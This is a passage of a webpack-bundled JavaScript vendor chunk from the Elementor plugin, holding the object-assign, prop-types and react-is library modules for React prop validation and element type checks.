/*! elementor - v3.16.0 - 17-10-2023 */
(self["webpackChunkelementor"] = self["webpackChunkelementor"] || []).push([["vendors-node_modules_prop-types_index_js-node_modules_babel_runtime_helpers_slicedToArray_js"],{

/***/ "../node_modules/object-assign/index.js":
/*!**********************************************!*\
  !*** ../node_modules/object-assign/index.js ***!
  \**********************************************/
/***/ ((module) => {

"use strict";
/*
object-assign
(c) Sindre Sorhus
@license MIT
*/


/* eslint-disable no-unused-vars */
var getOwnPropertySymbols = Object.getOwnPropertySymbols;
var hasOwnProperty = Object.prototype.hasOwnProperty;
var propIsEnumerable = Object.prototype.propertyIsEnumerable;

function toObject(val) {
	if (val === null || val === undefined) {
		throw new TypeError('Object.assign cannot be called with null or undefined');
	}

	return Object(val);
}

function shouldUseNative() {
	try {
		if (!Object.assign) {
			return false;
		}

		// Detect buggy property enumeration order in older V8 versions.

		// https://bugs.chromium.org/p/v8/issues/detail?id=4118
		var test1 = new String('abc');  // eslint-disable-line no-new-wrappers
		test1[5] = 'de';
		if (Object.getOwnPropertyNames(test1)[0] === '5') {
			return false;
		}

		// https://bugs.chromium.org/p/v8/issues/detail?id=3056
		var test2 = {};
		for (var i = 0; i < 10; i++) {
			test2['_' + String.fromCharCode(i)] = i;
		}
		var order2 = Object.getOwnPropertyNames(test2).map(function (n) {
			return test2[n];
		});
		if (order2.join('') !== '0123456789') {
			return false;
		}

		// https://bugs.chromium.org/p/v8/issues/detail?id=3056
		var test3 = {};
		'abcdefghijklmnopqrst'.split('').forEach(function (letter) {
			test3[letter] = letter;
		});
		if (Object.keys(Object.assign({}, test3)).join('') !==
				'abcdefghijklmnopqrst') {
			return false;
		}

		return true;
	} catch (err) {
		// We don't expect any of the above to throw, but better to be safe.
		return false;
	}
}

module.exports = shouldUseNative() ? Object.assign : function (target, source) {
	var from;
	var to = toObject(target);
	var symbols;

	for (var s = 1; s < arguments.length; s++) {
		from = Object(arguments[s]);

		for (var key in from) {
			if (hasOwnProperty.call(from, key)) {
				to[key] = from[key];
			}
		}

		if (getOwnPropertySymbols) {
			symbols = getOwnPropertySymbols(from);
			for (var i = 0; i < symbols.length; i++) {
				if (propIsEnumerable.call(from, symbols[i])) {
					to[symbols[i]] = from[symbols[i]];
				}
			}
		}
	}

	return to;
};


/***/ }),

/***/ "../node_modules/prop-types/checkPropTypes.js":
/*!****************************************************!*\
  !*** ../node_modules/prop-types/checkPropTypes.js ***!
  \****************************************************/
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {

"use strict";
/**
 * Copyright (c) 2013-present, Facebook, Inc.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */



var printWarning = function() {};

if (true) {
  var ReactPropTypesSecret = __webpack_require__(/*! ./lib/ReactPropTypesSecret */ "../node_modules/prop-types/lib/ReactPropTypesSecret.js");
  var loggedTypeFailures = {};
  var has = __webpack_require__(/*! ./lib/has */ "../node_modules/prop-types/lib/has.js");

  printWarning = function(text) {
    var message = 'Warning: ' + text;
    if (typeof console !== 'undefined') {
      console.error(message);
    }
    try {
      // --- Welcome to debugging React ---
      // This error was thrown as a convenience so that you can use this stack
      // to find the callsite that caused this warning to fire.
      throw new Error(message);
    } catch (x) { /**/ }
  };
}

/**
 * Assert that the values match with the type specs.
 * Error messages are memorized and will only be shown once.
 *
 * @param {object} typeSpecs Map of name to a ReactPropType
 * @param {object} values Runtime values that need to be type-checked
 * @param {string} location e.g. "prop", "context", "child context"
 * @param {string} componentName Name of the component for error messages.
 * @param {?Function} getStack Returns the component stack.
 * @private
 */
function checkPropTypes(typeSpecs, values, location, componentName, getStack) {
  if (true) {
    for (var typeSpecName in typeSpecs) {
      if (has(typeSpecs, typeSpecName)) {
        var error;
        // Prop type validation may throw. In case they do, we don't want to
        // fail the render phase where it didn't fail before. So we log it.
        // After these have been cleaned up, we'll let them throw.
        try {
          // This is intentionally an invariant that gets caught. It's the same
          // behavior as without this statement except with a better message.
          if (typeof typeSpecs[typeSpecName] !== 'function') {
            var err = Error(
              (componentName || 'React class') + ': ' + location + ' type `' + typeSpecName + '` is invalid; ' +
              'it must be a function, usually from the `prop-types` package, but received `' + typeof typeSpecs[typeSpecName] + '`.' +
              'This often happens because of typos such as `PropTypes.function` instead of `PropTypes.func`.'
            );
            err.name = 'Invariant Violation';
            throw err;
          }
          error = typeSpecs[typeSpecName](values, typeSpecName, componentName, location, null, ReactPropTypesSecret);
        } catch (ex) {
          error = ex;
        }
        if (error && !(error instanceof Error)) {
          printWarning(
            (componentName || 'React class') + ': type specification of ' +
            location + ' `' + typeSpecName + '` is invalid; the type checker ' +
            'function must return `null` or an `Error` but returned a ' + typeof error + '. ' +
            'You may have forgotten to pass an argument to the type checker ' +
            'creator (arrayOf, instanceOf, objectOf, oneOf, oneOfType, and ' +
            'shape all require an argument).'
          );
        }
        if (error instanceof Error && !(error.message in loggedTypeFailures)) {
          // Only monitor this failure once because there tends to be a lot of the
          // same error.
          loggedTypeFailures[error.message] = true;

          var stack = getStack ? getStack() : '';

          printWarning(
            'Failed ' + location + ' type: ' + error.message + (stack != null ? stack : '')
          );
        }
      }
    }
  }
}

/**
 * Resets warning cache when testing.
 *
 * @private
 */
checkPropTypes.resetWarningCache = function() {
  if (true) {
    loggedTypeFailures = {};
  }
}

module.exports = checkPropTypes;


/***/ }),

/***/ "../node_modules/prop-types/factoryWithTypeCheckers.js":
/*!*************************************************************!*\
  !*** ../node_modules/prop-types/factoryWithTypeCheckers.js ***!
  \*************************************************************/
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {

"use strict";
/**
 * Copyright (c) 2013-present, Facebook, Inc.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */



var ReactIs = __webpack_require__(/*! react-is */ "../node_modules/prop-types/node_modules/react-is/index.js");
var assign = __webpack_require__(/*! object-assign */ "../node_modules/object-assign/index.js");

var ReactPropTypesSecret = __webpack_require__(/*! ./lib/ReactPropTypesSecret */ "../node_modules/prop-types/lib/ReactPropTypesSecret.js");
var has = __webpack_require__(/*! ./lib/has */ "../node_modules/prop-types/lib/has.js");
var checkPropTypes = __webpack_require__(/*! ./checkPropTypes */ "../node_modules/prop-types/checkPropTypes.js");

var printWarning = function() {};

if (true) {
  printWarning = function(text) {
    var message = 'Warning: ' + text;
    if (typeof console !== 'undefined') {
      console.error(message);
    }
    try {
      // --- Welcome to debugging React ---
      // This error was thrown as a convenience so that you can use this stack
      // to find the callsite that caused this warning to fire.
      throw new Error(message);
    } catch (x) {}
  };
}

function emptyFunctionThatReturnsNull() {
  return null;
}

module.exports = function(isValidElement, throwOnDirectAccess) {
  /* global Symbol */
  var ITERATOR_SYMBOL = typeof Symbol === 'function' && Symbol.iterator;
  var FAUX_ITERATOR_SYMBOL = '@@iterator'; // Before Symbol spec.

  /**
   * Returns the iterator method function contained on the iterable object.
   *
   * Be sure to invoke the function with the iterable as context:
   *
   *     var iteratorFn = getIteratorFn(myIterable);
   *     if (iteratorFn) {
   *       var iterator = iteratorFn.call(myIterable);
   *       ...
   *     }
   *
   * @param {?object} maybeIterable
   * @return {?function}
   */
  function getIteratorFn(maybeIterable) {
    var iteratorFn = maybeIterable && (ITERATOR_SYMBOL && maybeIterable[ITERATOR_SYMBOL] || maybeIterable[FAUX_ITERATOR_SYMBOL]);
    if (typeof iteratorFn === 'function') {
      return iteratorFn;
    }
  }

  /**
   * Collection of methods that allow declaration and validation of props that are
   * supplied to React components. Example usage:
   *
   *   var Props = require('ReactPropTypes');
   *   var MyArticle = React.createClass({
   *     propTypes: {
   *       // An optional string prop named "description".
   *       description: Props.string,
   *
   *       // A required enum prop named "category".
   *       category: Props.oneOf(['News','Photos']).isRequired,
   *
   *       // A prop named "dialog" that requires an instance of Dialog.
   *       dialog: Props.instanceOf(Dialog).isRequired
   *     },
   *     render: function() { ... }
   *   });
   *
   * A more formal specification of how these methods are used:
   *
   *   type := array|bool|func|object|number|string|oneOf([...])|instanceOf(...)
   *   decl := ReactPropTypes.{type}(.isRequired)?
   *
   * Each and every declaration produces a function with the same signature. This
   * allows the creation of custom validation functions. For example:
   *
   *  var MyLink = React.createClass({
   *    propTypes: {
   *      // An optional string or URI prop named "href".
   *      href: function(props, propName, componentName) {
   *        var propValue = props[propName];
   *        if (propValue != null && typeof propValue !== 'string' &&
   *            !(propValue instanceof URI)) {
   *          return new Error(
   *            'Expected a string or an URI for ' + propName + ' in ' +
   *            componentName
   *          );
   *        }
   *      }
   *    },
   *    render: function() {...}
   *  });
   *
   * @internal
   */

  var ANONYMOUS = '<<anonymous>>';

  // Important!
  // Keep this list in sync with production version in `./factoryWithThrowingShims.js`.
  var ReactPropTypes = {
    array: createPrimitiveTypeChecker('array'),
    bigint: createPrimitiveTypeChecker('bigint'),
    bool: createPrimitiveTypeChecker('boolean'),
    func: createPrimitiveTypeChecker('function'),
    number: createPrimitiveTypeChecker('number'),
    object: createPrimitiveTypeChecker('object'),
    string: createPrimitiveTypeChecker('string'),
    symbol: createPrimitiveTypeChecker('symbol'),

    any: createAnyTypeChecker(),
    arrayOf: createArrayOfTypeChecker,
    element: createElementTypeChecker(),
    elementType: createElementTypeTypeChecker(),
    instanceOf: createInstanceTypeChecker,
    node: createNodeChecker(),
    objectOf: createObjectOfTypeChecker,
    oneOf: createEnumTypeChecker,
    oneOfType: createUnionTypeChecker,
    shape: createShapeTypeChecker,
    exact: createStrictShapeTypeChecker,
  };

  /**
   * inlined Object.is polyfill to avoid requiring consumers ship their own
   * https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is
   */
  /*eslint-disable no-self-compare*/
  function is(x, y) {
    // SameValue algorithm
    if (x === y) {
      // Steps 1-5, 7-10
      // Steps 6.b-6.e: +0 != -0
      return x !== 0 || 1 / x === 1 / y;
    } else {
      // Step 6.a: NaN == NaN
      return x !== x && y !== y;
    }
  }
  /*eslint-enable no-self-compare*/

  /**
   * We use an Error-like object for backward compatibility as people may call
   * PropTypes directly and inspect their output. However, we don't use real
   * Errors anymore. We don't inspect their stack anyway, and creating them
   * is prohibitively expensive if they are created too often, such as what
   * happens in oneOfType() for any type before the one that matched.
   */
  function PropTypeError(message, data) {
    this.message = message;
    this.data = data && typeof data === 'object' ? data: {};
    this.stack = '';
  }
  // Make `instanceof Error` still work for returned errors.
  PropTypeError.prototype = Error.prototype;

  function createChainableTypeChecker(validate) {
    if (true) {
      var manualPropTypeCallCache = {};
      var manualPropTypeWarningCount = 0;
    }
    function checkType(isRequired, props, propName, componentName, location, propFullName, secret) {
      componentName = componentName || ANONYMOUS;
      propFullName = propFullName || propName;

      if (secret !== ReactPropTypesSecret) {
        if (throwOnDirectAccess) {
          // New behavior only for users of `prop-types` package
          var err = new Error(
            'Calling PropTypes validators directly is not supported by the `prop-types` package. ' +
            'Use `PropTypes.checkPropTypes()` to call them. ' +
            'Read more at http://fb.me/use-check-prop-types'
          );
          err.name = 'Invariant Violation';
          throw err;
        } else if ( true && typeof console !== 'undefined') {
          // Old behavior for people using React.PropTypes
          var cacheKey = componentName + ':' + propName;
          if (
            !manualPropTypeCallCache[cacheKey] &&
            // Avoid spamming the console because they are often not actionable except for lib authors
            manualPropTypeWarningCount < 3
          ) {
            printWarning(
              'You are manually calling a React.PropTypes validation ' +
              'function for the `' + propFullName + '` prop on `' + componentName + '`. This is deprecated ' +
              'and will throw in the standalone `prop-types` package. ' +
              'You may be seeing this warning due to a third-party PropTypes ' +
              'library. See https://fb.me/react-warning-dont-call-proptypes ' + 'for details.'
            );
            manualPropTypeCallCache[cacheKey] = true;
            manualPropTypeWarningCount++;
          }
        }
      }
      if (props[propName] == null) {
        if (isRequired) {
          if (props[propName] === null) {
            return new PropTypeError('The ' + location + ' `' + propFullName + '` is marked as required ' + ('in `' + componentName + '`, but its value is `null`.'));
          }
          return new PropTypeError('The ' + location + ' `' + propFullName + '` is marked as required in ' + ('`' + componentName + '`, but its value is `undefined`.'));
        }
        return null;
      } else {
        return validate(props, propName, componentName, location, propFullName);
      }
    }

    var chainedCheckType = checkType.bind(null, false);
    chainedCheckType.isRequired = checkType.bind(null, true);

    return chainedCheckType;
  }

  function createPrimitiveTypeChecker(expectedType) {
    function validate(props, propName, componentName, location, propFullName, secret) {
      var propValue = props[propName];
      var propType = getPropType(propValue);
      if (propType !== expectedType) {
        // `propValue` being instance of, say, date/regexp, pass the 'object'
        // check, but we can offer a more precise error message here rather than
        // 'of type `object`'.
        var preciseType = getPreciseType(propValue);

        return new PropTypeError(
          'Invalid ' + location + ' `' + propFullName + '` of type ' + ('`' + preciseType + '` supplied to `' + componentName + '`, expected ') + ('`' + expectedType + '`.'),
          {expectedType: expectedType}
        );
      }
      return null;
    }
    return createChainableTypeChecker(validate);
  }

  function createAnyTypeChecker() {
    return createChainableTypeChecker(emptyFunctionThatReturnsNull);
  }

  function createArrayOfTypeChecker(typeChecker) {
    function validate(props, propName, componentName, location, propFullName) {
      if (typeof typeChecker !== 'function') {
        return new PropTypeError('Property `' + propFullName + '` of component `' + componentName + '` has invalid PropType notation inside arrayOf.');
      }
      var propValue = props[propName];
      if (!Array.isArray(propValue)) {
        var propType = getPropType(propValue);
        return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type ' + ('`' + propType + '` supplied to `' + componentName + '`, expected an array.'));
      }
      for (var i = 0; i < propValue.length; i++) {
        var error = typeChecker(propValue, i, componentName, location, propFullName + '[' + i + ']', ReactPropTypesSecret);
        if (error instanceof Error) {
          return error;
        }
      }
      return null;
    }
    return createChainableTypeChecker(validate);
  }

  function createElementTypeChecker() {
    function validate(props, propName, componentName, location, propFullName) {
      var propValue = props[propName];
      if (!isValidElement(propValue)) {
        var propType = getPropType(propValue);
        return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type ' + ('`' + propType + '` supplied to `' + componentName + '`, expected a single ReactElement.'));
      }
      return null;
    }
    return createChainableTypeChecker(validate);
  }

  function createElementTypeTypeChecker() {
    function validate(props, propName, componentName, location, propFullName) {
      var propValue = props[propName];
      if (!ReactIs.isValidElementType(propValue)) {
        var propType = getPropType(propValue);
        return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type ' + ('`' + propType + '` supplied to `' + componentName + '`, expected a single ReactElement type.'));
      }
      return null;
    }
    return createChainableTypeChecker(validate);
  }

  function createInstanceTypeChecker(expectedClass) {
    function validate(props, propName, componentName, location, propFullName) {
      if (!(props[propName] instanceof expectedClass)) {
        var expectedClassName = expectedClass.name || ANONYMOUS;
        var actualClassName = getClassName(props[propName]);
        return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type ' + ('`' + actualClassName + '` supplied to `' + componentName + '`, expected ') + ('instance of `' + expectedClassName + '`.'));
      }
      return null;
    }
    return createChainableTypeChecker(validate);
  }

  function createEnumTypeChecker(expectedValues) {
    if (!Array.isArray(expectedValues)) {
      if (true) {
        if (arguments.length > 1) {
          printWarning(
            'Invalid arguments supplied to oneOf, expected an array, got ' + arguments.length + ' arguments. ' +
            'A common mistake is to write oneOf(x, y, z) instead of oneOf([x, y, z]).'
          );
        } else {
          printWarning('Invalid argument supplied to oneOf, expected an array.');
        }
      }
      return emptyFunctionThatReturnsNull;
    }

    function validate(props, propName, componentName, location, propFullName) {
      var propValue = props[propName];
      for (var i = 0; i < expectedValues.length; i++) {
        if (is(propValue, expectedValues[i])) {
          return null;
        }
      }

      var valuesString = JSON.stringify(expectedValues, function replacer(key, value) {
        var type = getPreciseType(value);
        if (type === 'symbol') {
          return String(value);
        }
        return value;
      });
      return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of value `' + String(propValue) + '` ' + ('supplied to `' + componentName + '`, expected one of ' + valuesString + '.'));
    }
    return createChainableTypeChecker(validate);
  }

  function createObjectOfTypeChecker(typeChecker) {
    function validate(props, propName, componentName, location, propFullName) {
      if (typeof typeChecker !== 'function') {
        return new PropTypeError('Property `' + propFullName + '` of component `' + componentName + '` has invalid PropType notation inside objectOf.');
      }
      var propValue = props[propName];
      var propType = getPropType(propValue);
      if (propType !== 'object') {
        return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type ' + ('`' + propType + '` supplied to `' + componentName + '`, expected an object.'));
      }
      for (var key in propValue) {
        if (has(propValue, key)) {
          var error = typeChecker(propValue, key, componentName, location, propFullName + '.' + key, ReactPropTypesSecret);
          if (error instanceof Error) {
            return error;
          }
        }
      }
      return null;
    }
    return createChainableTypeChecker(validate);
  }

  function createUnionTypeChecker(arrayOfTypeCheckers) {
    if (!Array.isArray(arrayOfTypeCheckers)) {
       true ? printWarning('Invalid argument supplied to oneOfType, expected an instance of array.') : 0;
      return emptyFunctionThatReturnsNull;
    }

    for (var i = 0; i < arrayOfTypeCheckers.length; i++) {
      var checker = arrayOfTypeCheckers[i];
      if (typeof checker !== 'function') {
        printWarning(
          'Invalid argument supplied to oneOfType. Expected an array of check functions, but ' +
          'received ' + getPostfixForTypeWarning(checker) + ' at index ' + i + '.'
        );
        return emptyFunctionThatReturnsNull;
      }
    }

    function validate(props, propName, componentName, location, propFullName) {
      var expectedTypes = [];
      for (var i = 0; i < arrayOfTypeCheckers.length; i++) {
        var checker = arrayOfTypeCheckers[i];
        var checkerResult = checker(props, propName, componentName, location, propFullName, ReactPropTypesSecret);
        if (checkerResult == null) {
          return null;
        }
        if (checkerResult.data && has(checkerResult.data, 'expectedType')) {
          expectedTypes.push(checkerResult.data.expectedType);
        }
      }
      var expectedTypesMessage = (expectedTypes.length > 0) ? ', expected one of type [' + expectedTypes.join(', ') + ']': '';
      return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` supplied to ' + ('`' + componentName + '`' + expectedTypesMessage + '.'));
    }
    return createChainableTypeChecker(validate);
  }

  function createNodeChecker() {
    function validate(props, propName, componentName, location, propFullName) {
      if (!isNode(props[propName])) {
        return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` supplied to ' + ('`' + componentName + '`, expected a ReactNode.'));
      }
      return null;
    }
    return createChainableTypeChecker(validate);
  }

  function invalidValidatorError(componentName, location, propFullName, key, type) {
    return new PropTypeError(
      (componentName || 'React class') + ': ' + location + ' type `' + propFullName + '.' + key + '` is invalid; ' +
      'it must be a function, usually from the `prop-types` package, but received `' + type + '`.'
    );
  }

  function createShapeTypeChecker(shapeTypes) {
    function validate(props, propName, componentName, location, propFullName) {
      var propValue = props[propName];
      var propType = getPropType(propValue);
      if (propType !== 'object') {
        return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type `' + propType + '` ' + ('supplied to `' + componentName + '`, expected `object`.'));
      }
      for (var key in shapeTypes) {
        var checker = shapeTypes[key];
        if (typeof checker !== 'function') {
          return invalidValidatorError(componentName, location, propFullName, key, getPreciseType(checker));
        }
        var error = checker(propValue, key, componentName, location, propFullName + '.' + key, ReactPropTypesSecret);
        if (error) {
          return error;
        }
      }
      return null;
    }
    return createChainableTypeChecker(validate);
  }

  function createStrictShapeTypeChecker(shapeTypes) {
    function validate(props, propName, componentName, location, propFullName) {
      var propValue = props[propName];
      var propType = getPropType(propValue);
      if (propType !== 'object') {
        return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type `' + propType + '` ' + ('supplied to `' + componentName + '`, expected `object`.'));
      }
      // We need to check all keys in case some are required but missing from props.
      var allKeys = assign({}, props[propName], shapeTypes);
      for (var key in allKeys) {
        var checker = shapeTypes[key];
        if (has(shapeTypes, key) && typeof checker !== 'function') {
          return invalidValidatorError(componentName, location, propFullName, key, getPreciseType(checker));
        }
        if (!checker) {
          return new PropTypeError(
            'Invalid ' + location + ' `' + propFullName + '` key `' + key + '` supplied to `' + componentName + '`.' +
            '\nBad object: ' + JSON.stringify(props[propName], null, '  ') +
            '\nValid keys: ' + JSON.stringify(Object.keys(shapeTypes), null, '  ')
          );
        }
        var error = checker(propValue, key, componentName, location, propFullName + '.' + key, ReactPropTypesSecret);
        if (error) {
          return error;
        }
      }
      return null;
    }

    return createChainableTypeChecker(validate);
  }

  function isNode(propValue) {
    switch (typeof propValue) {
      case 'number':
      case 'string':
      case 'undefined':
        return true;
      case 'boolean':
        return !propValue;
      case 'object':
        if (Array.isArray(propValue)) {
          return propValue.every(isNode);
        }
        if (propValue === null || isValidElement(propValue)) {
          return true;
        }

        var iteratorFn = getIteratorFn(propValue);
        if (iteratorFn) {
          var iterator = iteratorFn.call(propValue);
          var step;
          if (iteratorFn !== propValue.entries) {
            while (!(step = iterator.next()).done) {
              if (!isNode(step.value)) {
                return false;
              }
            }
          } else {
            // Iterator will provide entry [k,v] tuples rather than values.
            while (!(step = iterator.next()).done) {
              var entry = step.value;
              if (entry) {
                if (!isNode(entry[1])) {
                  return false;
                }
              }
            }
          }
        } else {
          return false;
        }

        return true;
      default:
        return false;
    }
  }

  function isSymbol(propType, propValue) {
    // Native Symbol.
    if (propType === 'symbol') {
      return true;
    }

    // falsy value can't be a Symbol
    if (!propValue) {
      return false;
    }

    // 19.4.3.5 Symbol.prototype[@@toStringTag] === 'Symbol'
    if (propValue['@@toStringTag'] === 'Symbol') {
      return true;
    }

    // Fallback for non-spec compliant Symbols which are polyfilled.
    if (typeof Symbol === 'function' && propValue instanceof Symbol) {
      return true;
    }

    return false;
  }

  // Equivalent of `typeof` but with special handling for array and regexp.
  function getPropType(propValue) {
    var propType = typeof propValue;
    if (Array.isArray(propValue)) {
      return 'array';
    }
    if (propValue instanceof RegExp) {
      // Old webkits (at least until Android 4.0) return 'function' rather than
      // 'object' for typeof a RegExp. We'll normalize this here so that /bla/
      // passes PropTypes.object.
      return 'object';
    }
    if (isSymbol(propType, propValue)) {
      return 'symbol';
    }
    return propType;
  }

  // This handles more types than `getPropType`. Only used for error messages.
  // See `createPrimitiveTypeChecker`.
  function getPreciseType(propValue) {
    if (typeof propValue === 'undefined' || propValue === null) {
      return '' + propValue;
    }
    var propType = getPropType(propValue);
    if (propType === 'object') {
      if (propValue instanceof Date) {
        return 'date';
      } else if (propValue instanceof RegExp) {
        return 'regexp';
      }
    }
    return propType;
  }

  // Returns a string that is postfixed to a warning about an invalid type.
  // For example, "undefined" or "of type array"
  function getPostfixForTypeWarning(value) {
    var type = getPreciseType(value);
    switch (type) {
      case 'array':
      case 'object':
        return 'an ' + type;
      case 'boolean':
      case 'date':
      case 'regexp':
        return 'a ' + type;
      default:
        return type;
    }
  }

  // Returns class name of the object, if any.
  function getClassName(propValue) {
    if (!propValue.constructor || !propValue.constructor.name) {
      return ANONYMOUS;
    }
    return propValue.constructor.name;
  }

  ReactPropTypes.checkPropTypes = checkPropTypes;
  ReactPropTypes.resetWarningCache = checkPropTypes.resetWarningCache;
  ReactPropTypes.PropTypes = ReactPropTypes;

  return ReactPropTypes;
};


/***/ }),

/***/ "../node_modules/prop-types/index.js":
/*!*******************************************!*\
  !*** ../node_modules/prop-types/index.js ***!
  \*******************************************/
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {

/**
 * Copyright (c) 2013-present, Facebook, Inc.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */

if (true) {
  var ReactIs = __webpack_require__(/*! react-is */ "../node_modules/prop-types/node_modules/react-is/index.js");

  // By explicitly using `prop-types` you are opting into new development behavior.
  // http://fb.me/prop-types-in-prod
  var throwOnDirectAccess = true;
  module.exports = __webpack_require__(/*! ./factoryWithTypeCheckers */ "../node_modules/prop-types/factoryWithTypeCheckers.js")(ReactIs.isElement, throwOnDirectAccess);
} else {}


/***/ }),

/***/ "../node_modules/prop-types/lib/ReactPropTypesSecret.js":
/*!**************************************************************!*\
  !*** ../node_modules/prop-types/lib/ReactPropTypesSecret.js ***!
  \**************************************************************/
/***/ ((module) => {

"use strict";
/**
 * Copyright (c) 2013-present, Facebook, Inc.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */



var ReactPropTypesSecret = 'SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED';

module.exports = ReactPropTypesSecret;


/***/ }),

/***/ "../node_modules/prop-types/lib/has.js":
/*!*********************************************!*\
  !*** ../node_modules/prop-types/lib/has.js ***!
  \*********************************************/
/***/ ((module) => {

module.exports = Function.call.bind(Object.prototype.hasOwnProperty);


/***/ }),

/***/ "../node_modules/prop-types/node_modules/react-is/cjs/react-is.development.js":
/*!************************************************************************************!*\
  !*** ../node_modules/prop-types/node_modules/react-is/cjs/react-is.development.js ***!
  \************************************************************************************/
/***/ ((__unused_webpack_module, exports) => {

"use strict";
/** @license React v16.13.1
 * react-is.development.js
 *
 * Copyright (c) Facebook, Inc. and its affiliates.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */





if (true) {
  (function() {
'use strict';

// The Symbol used to tag the ReactElement-like types. If there is no native Symbol
// nor polyfill, then a plain number is used for performance.
var hasSymbol = typeof Symbol === 'function' && Symbol.for;
var REACT_ELEMENT_TYPE = hasSymbol ? Symbol.for('react.element') : 0xeac7;
var REACT_PORTAL_TYPE = hasSymbol ? Symbol.for('react.portal') : 0xeaca;
var REACT_FRAGMENT_TYPE = hasSymbol ? Symbol.for('react.fragment') : 0xeacb;
var REACT_STRICT_MODE_TYPE = hasSymbol ? Symbol.for('react.strict_mode') : 0xeacc;
var REACT_PROFILER_TYPE = hasSymbol ? Symbol.for('react.profiler') : 0xead2;
var REACT_PROVIDER_TYPE = hasSymbol ? Symbol.for('react.provider') : 0xeacd;
var REACT_CONTEXT_TYPE = hasSymbol ? Symbol.for('react.context') : 0xeace; // TODO: We don't use AsyncMode or ConcurrentMode anymore. They were temporary
// (unstable) APIs that have been removed. Can we remove the symbols?

var REACT_ASYNC_MODE_TYPE = hasSymbol ? Symbol.for('react.async_mode') : 0xeacf;
var REACT_CONCURRENT_MODE_TYPE = hasSymbol ? Symbol.for('react.concurrent_mode') : 0xeacf;
var REACT_FORWARD_REF_TYPE = hasSymbol ? Symbol.for('react.forward_ref') : 0xead0;
var REACT_SUSPENSE_TYPE = hasSymbol ? Symbol.for('react.suspense') : 0xead1;
var REACT_SUSPENSE_LIST_TYPE = hasSymbol ? Symbol.for('react.suspense_list') : 0xead8;
var REACT_MEMO_TYPE = hasSymbol ? Symbol.for('react.memo') : 0xead3;
var REACT_LAZY_TYPE = hasSymbol ? Symbol.for('react.lazy') : 0xead4;
var REACT_BLOCK_TYPE = hasSymbol ? Symbol.for('react.block') : 0xead9;
var REACT_FUNDAMENTAL_TYPE = hasSymbol ? Symbol.for('react.fundamental') : 0xead5;
var REACT_RESPONDER_TYPE = hasSymbol ? Symbol.for('react.responder') : 0xead6;
var REACT_SCOPE_TYPE = hasSymbol ? Symbol.for('react.scope') : 0xead7;

function isValidElementType(type) {
  return typeof type === 'string' || typeof type === 'function' || // Note: its typeof might be other than 'symbol' or 'number' if it's a polyfill.
  type === REACT_FRAGMENT_TYPE || type === REACT_CONCURRENT_MODE_TYPE || type === REACT_PROFILER_TYPE || type === REACT_STRICT_MODE_TYPE || type === REACT_SUSPENSE_TYPE || type === REACT_SUSPENSE_LIST_TYPE || typeof type === 'object' && type !== null && (type.$$typeof === REACT_LAZY_TYPE || type.$$typeof === REACT_MEMO_TYPE || type.$$typeof === REACT_PROVIDER_TYPE || type.$$typeof === REACT_CONTEXT_TYPE || type.$$typeof === REACT_FORWARD_REF_TYPE || type.$$typeof === REACT_FUNDAMENTAL_TYPE || type.$$typeof === REACT_RESPONDER_TYPE || type.$$typeof === REACT_SCOPE_TYPE || type.$$typeof === REACT_BLOCK_TYPE);
}

function typeOf(object) {
  if (typeof object === 'object' && object !== null) {
    var $$typeof = object.$$typeof;

    switch ($$typeof) {
      case REACT_ELEMENT_TYPE:
        var type = object.type;

        switch (type) {
          case REACT_ASYNC_MODE_TYPE:
          case REACT_CONCURRENT_MODE_TYPE:
          case REACT_FRAGMENT_TYPE:
          case REACT_PROFILER_TYPE:
          case REACT_STRICT_MODE_TYPE:
          case REACT_SUSPENSE_TYPE:
            return type;

          default:
            var $$typeofType = type && type.$$typeof;

            switch ($$typeofType) {
              case REACT_CONTEXT_TYPE:
              case REACT_FORWARD_REF_TYPE:
              case REACT_LAZY_TYPE:
              case REACT_MEMO_TYPE:
              case REACT_PROVIDER_TYPE:
                return $$typeofType;

              default:
                return $$typeof;
            }

        }

      case REACT_PORTAL_TYPE:
        return $$typeof;
    }
  }

  return undefined;
} // AsyncMode is deprecated along with isAsyncMode

var AsyncMode = REACT_ASYNC_MODE_TYPE;
var ConcurrentMode = REACT_CONCURRENT_MODE_TYPE;
var ContextConsumer = REACT_CONTEXT_TYPE;
var ContextProvider = REACT_PROVIDER_TYPE;
var Element = REACT_ELEMENT_TYPE;
var ForwardRef = REACT_FORWARD_REF_TYPE;
var Fragment = REACT_FRAGMENT_TYPE;
var Lazy = REACT_LAZY_TYPE;
var Memo = REACT_MEMO_TYPE;
var Portal = REACT_PORTAL_TYPE;
var Profiler = REACT_PROFILER_TYPE;
var StrictMode = REACT_STRICT_MODE_TYPE;
var Suspense = REACT_SUSPENSE_TYPE;
var hasWarnedAboutDeprecatedIsAsyncMode = false; // AsyncMode should be deprecated

function isAsyncMode(object) {
  {
    if (!hasWarnedAboutDeprecatedIsAsyncMode) {
      hasWarnedAboutDeprecatedIsAsyncMode = true; // Using console['warn'] to evade Babel and ESLint

      console['warn']('The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');
    }
  }

  return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;
}
function isConcurrentMode(object) {
  return typeOf(object) === REACT_CONCURRENT_MODE_TYPE;
}
function isContextConsumer(object) {
